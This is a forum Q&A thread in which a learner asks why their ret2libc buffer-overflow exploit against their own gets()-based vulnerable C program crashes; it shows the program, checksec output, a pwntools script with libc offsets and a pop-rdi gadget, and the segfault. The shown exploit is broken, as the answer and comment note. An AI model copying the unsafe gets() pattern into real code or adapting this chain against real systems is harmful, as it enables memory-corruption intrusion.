0

I was following a tutorial regarding bufferoverflow(ret2libc) attack and it failed due to unknown reasons. The C program I wrote is as follows:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char** argv)
{
        char buf[256];
        gets(buf);
        return 0;
}

and i compiled it so it so it has checksec as:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

and the exploit i have written is:

from pwn import *

proc = process("./vuln")
junk = "A"*264
libc_base =      0x00007ffff7dee000
system_offset =  0x0000000000048df0
exec_offset =    0x00000000000cb7c0
exit_offset =    0x000000000003e600
binsh_offset =   0x18a156
system = str(base64.b64encode(p64(libc_base + system_offset)))
exit   = str(base64.b64encode(p64(libc_base + exit_offset)))
binsh  = str(base64.b64encode(p64(libc_base + binsh_offset)))
pop_rdi = str(base64.b64encode(p64(0x00000000004011bb)))

buf = junk + pop_rdi + binsh + system + exit
proc.sendline(buf)
proc.interactive()

But immediately after running the exploit it is giving me an error:

[+] Starting local process './vuln': pid 1595
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ 
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 1595)
[*] Got EOF while sending in interactive

Can someone please tell me what is the problem here, Thanks in advance.

1 Answer 1

1

Using base64.b64encode here is bad because it will encode the addresses and hide them from the machine that executes the code.

I didn't check well and there may be other errors, but the first thing to do is removing them and pass the machine the addresses of the parts.

Sign up to request clarification or add additional context in comments.

1 Comment

by removing base64.b64encode the code does not compile and gives me an error: can only concatenate str(not bytes) to str

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.